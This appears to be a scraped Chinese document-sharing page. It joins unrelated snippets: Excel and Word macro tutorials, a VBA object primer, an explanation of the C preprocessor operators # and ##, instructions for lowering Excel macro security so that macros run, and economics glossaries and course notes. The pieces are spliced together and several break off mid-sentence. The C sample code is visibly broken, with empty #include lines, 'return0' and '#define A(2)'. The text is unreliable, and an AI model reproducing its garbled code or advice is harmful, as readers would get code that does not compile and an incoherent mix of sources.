在介绍学习VBA之前,应该花几分钟录制一个宏。 新术语:“宏”,指一系列EXCEL能够执行的VBA语句。 以下将要录制的宏非常简单,只是改变单元格颜色。请完成如下步骤: 1)打开新工作簿,确认其他工作簿已经关闭。 2)选择A1单元格。调出“常用”工具栏。 3)选择“工具”—“宏”—“录制新宏”。 4)输入“改变颜色”作为宏名替换默认宏名,单击确定,注意,此时状态栏中显示“录制”,特别是“停止录制”工具栏也显示出来。替换默认宏名主要是便于分别这些宏。 ★宏名最多可为255个字符,并且必须以字母开始。其中可用的字符包括:字母、数字和下划线。宏名中不允许出现空格。通常用下划线代表空格。 5)选择“格式”的“单元格”,选择“图案”选项中的红色,单击“确定”。 6)单击“停止录制”工具栏按钮,结束宏录制过程。 ※如果“停止录制”工具栏开始并未出现,请选择“工具”—“宏”—“停止录制”。 录制完一个宏后就可以执行它了。 1.4 执行宏

当执行一个宏时,EXCEL按照宏语句执行的情况就像VBA代码在对EXCEL进行“遥控”。但VBA的“遥控”不仅能使操作变得简便,还能使你获得一些使用EXCEL标准命令所无法实现的功能。而且,一旦熟悉了EXCEL的“遥控”,你都会奇怪自己在没有这些“遥控”的情况下,到底是怎么熬过来的。要执行刚才录制的宏,可以按以下步骤进行: 1)选择任何一个单元格,比如A3。 2)选择“工具”—“宏”—“宏”,显示“宏”对话框。 3)选择“改变颜色”,选择“执行”,则A3单元格的颜色变为红色。试着选择其它单元格和几个单元格组成的区域,然后再执行宏,以便加深印象。 1.5 查看录制的代码 到底是什么在控制EXCEL的运行呢?你可能有些疑惑.好,让我们看看VBA的语句吧. 1)选择“工具”—“宏”—“宏”,显示“宏”对话框。 2)单击列表中的“改变颜色”,选择“编辑”按钮。 此时,会打开VBA的编辑器窗口(VBE)。关于该编辑器,以后再详细说明,先将注意力集中到显示的代码上。代码如下:(日期和姓名会有不同)

宏、微观经济学名词解释总结

宏、微观经济学名词解释总结 宏微观经济学名词解释 微观: 经济学——研究如何实现稀缺资源的最佳配置,以使人类需要得到最大限度满足的一门社会科学。 资源的稀缺性——指相对于人类无限多样性的需要而言,经济资源数量总是相对不足的,取用时要付出代价。 规范分析——研究经济活动“应该是什么”以及社会经济问题应该是怎样解的。 实证分析——描述经济现象“是什么”以及社会经济问题实际上是如何解决的。 需求——消费者在一定价格条件下愿意并且能够购买的某种商品或劳务的数量。 需求量的变化——某种商品价格的变化引起的对该商品需求量的变化。 需求水平的变化——在商品价格不变的情况下,其他因素所引起的需求的变化。 需求定律——商品的价格和需求量之间示范方向的变动关系。 供给——生产者在某一时刻和各种可能的价格水平上对某种商品或劳务愿意并且能够提供的数量。 供给定律——商品价格与供给量成正比。 均衡价格——一种商品的需求价格和供给价格相一致的价格,即需求数量等于供给数量的价格。 均衡数量——需求价格等于供给价格时的供给量和需求量称为均衡数量。 需求价格弹性——在其他条件不变的情况下,某种商品或劳务价格变动因其本身需求量的变动程度。 需求交叉价格弹性——在其他条件不变的情况下,某种商品或劳务价格变动引起另一种商品或劳务需求量变动的程度。 需求收入弹性——在其他条件不变的情况下,消费者收入的变动引起某种商品或劳务需求量变动的程度。 蛛网模型——运用弹性原理解释某些生产周期较长的商品在失去均衡时发生的不同波动情况的一种动态分析理论。 蛛网稳定条件——供给弹性等于需求弹性,市场价格变动对供给量和需求量的影响相同。

word中使用宏命令速排版的方法

word中使用宏命令速排版的方法 一、首先录制宏命令 1、打开一个WORD文档,文档中如果有文字,可使下面的过程看到效果。 2、执行录制宏命令:选择菜单\工具\宏\录制宏命令,在打开的对话框中,填上:宏名框中填上表示该宏命令的作用,例如:去掉多余的空格,去掉多余的空行,去掉多余的手工换行符,去掉多余的段落标记符,排版字体为宋体字号为四号颜色为黑色等等。点对话框中的确定按钮。 3、全选所有文字:按CTRL+A, 或者按下鼠标左键不松手,从文件首行拖到最后一行,或者选择:菜单\编辑\全选。 4、执行排版: 去掉全部多余的空格:选择菜单\编辑\替换\在查找框中按一个空格,在替换框中不加任何符号,点全部替换按钮两次。 去掉多余的手工换行符:选择菜单\编辑\替换\在查找框中填上手工换行符,方法是按CTRL+6,再字母L,或者点按钮高级选项,展开后,点特殊字符按钮,在其中点手动换行符.在替换框中填上段落标记,方法是按CTRL+6,再按字母P,或者点按钮高级选项,展开后,点特殊字符按钮,在其中点段落标记.再按确定按钮两次. 去掉多余的段落标记:选择菜单\编辑\替换\在查找框中填上两个段落标记,方法是按CTRL+6,再字母P,连续两次,出现^P^P,,或者点按钮高级选项,展开后,点特殊字符按钮,在其中点段落标记两次.在替换框中填上段落标记,方法是按 CTRL+6,再按字母P,或者点按钮高级选项,展开后,点特殊字符按钮,在其中点段落标记.再按确定按钮两次. 更换字体:在快捷菜单栏中,点字体对话框,例如:宋体. 更换字号:在快捷菜单栏中,点字号对话框,例如;四号字. 更换字的颜色:在快捷菜单栏中,点字体颜色,在打开的颜色选择对话框中,点选合适的颜色,也可用菜单\格式\字体,在对话框中,把所有的这些项,全部一次更换好. 更换段落间距等:打开菜单\格式\段落\在对话框中,将常规、缩进、间距设置好,再按确定,一般情况如下图设置。

EXCEL宏编程实例.doc

Excel 宏编程举例说明 学习宏编程,需要VB基础,如果一点VB基础和面向对象的概念,建议先去补补VB,不然即使自认为学好了也只能拿着高射炮打蚊子! 一)、宏学习 首先需要明确的是,本文不可能教会您关于宏的所有内容。您需要学会利用"录制宏"的方法来学习宏:点击Excel"工具"下拉菜单中"宏"下?quot;录制新宏",此后可象平时一样进行有关操作,待完成后停止录制。然后再点击"工具"下拉菜单中"宏"下"宏"的"编辑"选项即可打开刚才所录制的宏的Visual Basic源程序,并且可以在此时的"帮助"下拉菜单中获得有关的编程帮助。对录制宏进行修改不仅可以学习宏的使用,还能大大简化宏的编写。 二)、基本概念 为了学习Excel中的宏,我们需要先了解以下一些基本概念。 1、工作簿:Workbooks、Workbook、ActiveWorkbook、ThisWorkbook Workbooks集合包含Excel中所有当前打开的Excel工作簿,亦即所有打开的Excel文件;Workbook对应Workbooks中的成员,即其中的Excel文件;ActiveWorkbook代表当前处于活动状态的工作簿,即当前显示的Excel文件;ThisWorkbook代表其中有Visual Basic代码正在运行的工作簿。 在具体使用中可用Workbooks(index)来引用Workbook对象,其中index为工作簿名称或编号;如Workbooks(1)、Workbooks("年度报表.xls")。而编号按照创建或打开工作簿的顺序来确定,第一个打开的工作簿编号为1,第二个打开的工作簿为2……。 2、工作表:Worksheets、Worksheet、ActiveSheet Worksheets集合包含工作簿中所有的工作表,即一个Excel文件中的所有数据表页;而Worksheet则代表其中的一个工作表;ActiveSheet代表当前处于的活动状态工作表,即当前显示的一个工作表。 可用Worksheets(index)来引用Worksheet对象,其中index为工作表名称或索引号;如Worksheets(1)、Worksheets("第一季度数据")。工作表索引号表明该工作表在工作表标签中的位置:第一个(最左边的)工作表的索引号为1,最后一个(最右边的)为Worksheets.Count。需要注意的是:在使用过程中Excel会自动重排工作表索引号,保持按照其在工作表标签中的从左至右排列,工作表的索引号递增。因此,由于可能进行的工作表添加或删除,工作表索引号不一定始终保持不变。3、图表:Chart 、Charts、ChartObject、ChartObjects、ActiveChart Chart代表工作簿中的图表。该图表既可为嵌入式图表(包含在ChartObject中),也可为一个分开的(单独的)图表工作表。 Charts代表指定工作簿或活动工作簿中所有图表工作表的集合,但不包括嵌入式在工作表或对话框编辑表中的图表。使用Charts(index) 可引用单个Chart图表,其中index是该图表工作表的索引号或名称;如Charts(1)、Charts("销售图表")。图表工作表的索引号表示图表工作表在工作簿的工作表标签栏上的位置。Charts(1)是工作簿中第一个(最左边的)图表工作表;Charts(Charts.Count)为最后一个(最右边的)图表工作表。 ChartObject代表工作表中的嵌入式图表,其作用是作为Chart对象的容器。利用ChartObject 可以控制工作表上嵌入式图表的外观和尺寸。 ChartObjects代表指定的图表工作表、对话框编辑表或工作表上所有嵌入式图表的集合。可由ChartObjects(index)引用单个ChartObject,其中index为嵌入式图表的编号或名称。如

EXCEL重要宏应用,序号的使用方法

EXCEL重要宏应用,序号的使用方法 EXCEL重要宏应用,序号的使用方法 (1) 1 序号 (2) 1.1 . 希望在B列输入内容,A列就自动进行编号 (2) 1.2 . 隐藏行连续 (2) 2 安全 (2) 2.1 . 保护工作表 (2) 3 宏 (2) 3.1 . 批量将工作表转换为独立工作簿 (2) 3.2 . 一键汇总各分表数据到总表 (3) 3.3 . 一键将总表数据拆分为多个分表 (4) 3.4 . 汇总多个工作簿的数据到总表 (6) 3.5 . 按一列中的部门拆分成工作簿 (8) 3.6 . 按一列中的部门拆分成工作簿 (10) 3.7 . 将同一工作簿中的所有工作表合并到一个工作表中 (12) 3.7.1 代码1 (12) 3.7.2 代码2 (13) 3.8 . 把一个工作簿中的所有表单合并成一个表单,怎么去掉重复的表头、标题行?方法如下: (13) 3.8.1 代码1 (13) 3.8.2 代码2 (13) 3.9 . 将需要合并的工作簿文件放置在一个文件夹中,并新建一个工作簿 (14)

1 序号 1.1 . 希望在B列输入内容,A列就自动进行编号 在A2单元格中输入公式:=IF(B2="","",COUNTA($B$2:B2)) 1.2 . 隐藏行连续 在A2单元格输入公式:=IF(B2="","",SUBTOTAL(103,$B$2:B2)) 2 安全 2.1 . 保护工作表 按 Ctrl+G,打开定位条件对话框,选择定位到“公式”; 2、按Ctrl+1,打开单元格设置对话框,在“保护”选项下,勾选“隐藏”和“锁定”; 3、在“审阅”选项下的“保护工作表”中设置撤销保护的密码,确定,即可达到隐藏公式的效果。 3 宏 3.1 . 批量将工作表转换为独立工作簿 Sub Newbooks() 'EH技术论坛。VBA编程学习与实践。看见星光 Dim sht As Worksheet, strPath$ With Application.FileDialog(msoFileDialogFolderPicker) '选择保存工作薄的文件路径 If .Show Then strPath = .SelectedItems(1) '读取选择的文件路径 Else Exit Sub

宏定义中#等的用法

C语言宏定义中"#","#@"和"##"的用法一、引言 #define macro(a)#a #define macro2(a,b)a##b #define macro3(a,b,c)a##b##c #a,表示a不再是一个变量,而变成了字符串"a" ##表示连接,a##b,表示输入的参数名为ab,a##b##c同理,代表变量名为:abc 测试例子: int x=3; int y=4; int xy=10; int xyz=20; CString str; OutputDebugString(macro(x)); str.Format("%d",macro2(x,y)); OutputDebugString(str); str.Format("%d",macro3(x,y,z)); OutputDebugString(str); 输出结果为: x 10 20 第一个为x,marco(x),x变成了"x"字符串 第二个为10,macro(x,y),就是变量xy 第三个为20,macro(x,y,z),就是变量xyz 二、一般用法 #把宏参数变为一个字符串,#@把宏参数变为一个字符,##把两个宏参数贴合在一起。

#include #include #define STR(s)#s//#与参数之间可以有空格 #define TOCHAR(c)#@c #define CONS(a,b)int(a##e##b)//##与参数之间可以有空格 int main(void) { printf(STR(pele));//输出字符串"pele" printf("%c\n",TOCHAR(z));//输出字符z printf("%d\n",CONS(2,3));//2e3输出:2000 return0; } 三、当宏参数是另一个宏的时候 需要注意的是凡宏定义里有用'#'或'##'的地方宏参数是不会再展开的。 #define A(2) #define STR(s)#s #define CONS(a,b)int(a##e##b) printf("int max:%s\n",STR(INT_MAX)); 这行会被展开为: printf("int max:%s\n","INT_MAX"); printf("%s\n",CONS(A,A)); 这一行被展开为: printf("%s\n",int(AeA)); INT_MAX和A都不会再被展开,然而解决这个问题的方法很简单,多加一层中间转换宏。加这层宏的用意是把所有宏的参数在这层里全部展开,那么在转换宏里的那一个宏(_STR)就能得到正确的宏参数。 #define A(2) #define_STR(s)#s #define STR(s)_STR(s)//转换宏 #define_CONS(a,b)int(a##e##b) #define CONS(a,b)_CONS(a,b)//转换宏 printf("int max:%s\n",STR(INT_MAX)); 输出为:int max:0x7fffffff STR(INT_MAX)-->_STR(0x7fffffff)-->"0x7fffffff"

Excel宏的使用教程

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,主要能用来扩展Windows的应用程式功能,特别是Microsoft Office软件,其中包括Excel、PPT、Word、Outlook等。 使用Excel的VBA开发的Excel文档,在Excel中运行时需要开启Excel 的宏功能,否则此文档的VBA自动化功能将被完全屏蔽,文档的功能无法实现。 因此,在打开这些Excel程序文件之前,您需要先对您的Excel宏安全性进行设置(设置永久有效,在同一台电脑上无需再次设置) 在Excel2003版本中,可以依以下步骤操作: 1,在Excel的菜单栏上依次单击“工具”——“宏”——“安全性”,打开下图所示的“安全性”对话框, 2,在“安全级”选项卡中将宏的安全级别设置为“中”或“低”。其中推荐使用“中”级,这样的设置并不会降低您的安全性,您仍然对任意一个宏文件都拥有主动选择是否运行的权力。 在宏的安全性级别设置成功后,再次打开Excel程序文件时,会出现下图所示信息框,此时点击“启用宏”按钮即可使本程序正常运行: 在Excel2007/2010版本中,可以依以下步骤操作: 1,依次单击Excel的Office按钮(2010版本为“文件”按钮)——“Excel 选项”,打开下图所示的“Excel选项”选项卡,在左侧列表中选择“信任中心”,在右侧出现的窗口中点击“信任中心设置”按钮, 2,打开“信任中心”选项卡,在左侧选择“宏设置”,在右侧出现的窗口中选择“禁用所有宏,并发出通知”选项,单击确定完成。 在宏的安全性级别设置成功后,再次打开Excel程序文件时,在信息栏(编辑栏上方)会出现下图所示的警告信息,此时点击其中的“选项”按钮打开Offi ce安全选项对话框,在其中选择“启用此内容”选项并确定即可使本程序正常运行。

宏观经济学学习总结总结

宏观经济学学习总结总结 这一阶段的宏观学课程结束了,在本课的学习中我最大的收获就是获得了一种把经济学理论和实际经济问题相结合的思维,逐步尝试把平时看到的新闻中的经济问题与所学过的理论结合起来, 一,理论基础仍是重点 当然宏观经济理论的学习仍然是基础,凯恩斯的理论仍然是学习的重点。随着经济的发展,在一定的时期产生了一些凯恩斯主义无法解决的问题,凯恩斯主义一度走入低谷,但是现代宏观经济学的发展趋势是凯恩斯主义将重新受到重视,实际经济周期理论相信凯恩斯主义经济学靠拢,新增长理论将继续是一个研究热点,不远的将来宏观经济学将出现新的综合。 二,宏观经济问题的关注和理论的应用 在本课的学习中着重讲到了宏观经济学关注的问题:首先,经济的增长问题,在学习的过程中以我国的经济增长现状为例。现阶段中国经济高速增长,可是我们大多数人并没有感觉到财富的相应迅速增加,甚至感觉在缩水。到底中国经济高速增长能持续多久?这个问题从乐观和悲观两方面来分析,并从两种观点中分析中国的经济增长的现状。中国近几年的国民生产总值增长的很快,增长百分比在10%左

右,但是人们一直对现在反应经济增长的gdp的核算是否能反应经济的实际增长存在怀疑,所以在学习中我们引入了绿色gdp的核算, 除了对经济增长的关注,我们还对经济周期、失业和通货膨胀等问题都进行了学习,分别 ___数据作为实例进行了详细的分析。面对这些宏观经济中的问题,每个国家都采用一定多的经济政策,以此促进经济的良好运行。我国的财政政策和货币政策的具体实施是在1998年以前实行扩张的财政政策和货币政策,随着经济的高速增长在1998年至现在国家一直采用稳健的经济政策。 经济政策的实施效果可以用研究产品市场和金融市场的is-lm曲线来分析,并且对is-lm模型进行了进一步的学习。随着经济的全球化每一个国家不再可能是完全封闭的,所以is-lm模型进一步扩展为is-lm-bp模型。这样可以更完善分析各国的经济。从is-lm模型中还可以推出ad-as曲线,这时价格不再作为一个常量而是作为一个变量来考虑,并且把总供给和总需求结合了起来。用ad-as模型可以充分的分析美国90年代后的新经济,从而研究对我国经济的发展有启示的因素。 三,结论

浅谈Word中宏的使用方法

龙源期刊网 https://www.doczj.com/doc/a72115552.html, 浅谈Word中宏的使用方法 作者:张春玲 来源:《科技创新导报》2011年第35期 摘要:Word是Office办公套件中的主要组件之一,Word中的宏是被命名并被保存起来的一系列操作,执行宏就是顺序执行它所包含的全部操作。在用Word进行文档编辑时,可以运行事 先编好的宏,来避免重复操作,以达到简化操作,提高工作效率的目的。本文通过实例简单介绍了Word中宏的使用方法。 关键词:Office办公套件 Word 宏 中图分类号:TP31 文献标识码:A 文章编号:1674-098X(2011)12(b)-0020-01 Word是Office办公套件中的主要组件之一,具有Windows的图形操作界面,让用户能方便 地处理文字、图形和数据。能满足各种文档编排、打印需求,因其“所见即所得”的排版功能而深受用户的喜爱。 当我们在用Word编辑文档时,不可避免地要重复一些操作,比如经常设置同样的页面、字 体字号、段落格式等,这时我们可以用Word中的宏功能来简化操作,提高工作效率。宏是被命 名并被保存起来的一系列操作,执行宏就是顺序执行它所包含的全部操作。在工作时,可以直接利用事先编好的宏自动运行,去完成经常需要重复的任务,目的是让用户文档中的一些任务自动化。 Word提供了两种创建宏的方法:宏录制器和Visual Basic编辑器。其中使用宏录制器可以 快速地创建、编辑和运行宏,而使用Visual Basic编辑器可以打开已经创建的宏,查看和修改其中的代码,也可以直接使用VB语言根据需要编写自己的宏。为了方便使用,还可以把宏指定到快捷键、工具栏或菜单中。 1 创建宏 我们可以通过以下方法创建宏: (1)单击工具菜单中的宏命令,选择级联菜单录制新宏,会打开录制宏对话框; (2)在“宏名”中输入新创建的宏的名称,默认的宏名为“Macro1”;

相关主题
文本预览
相关文档 最新文档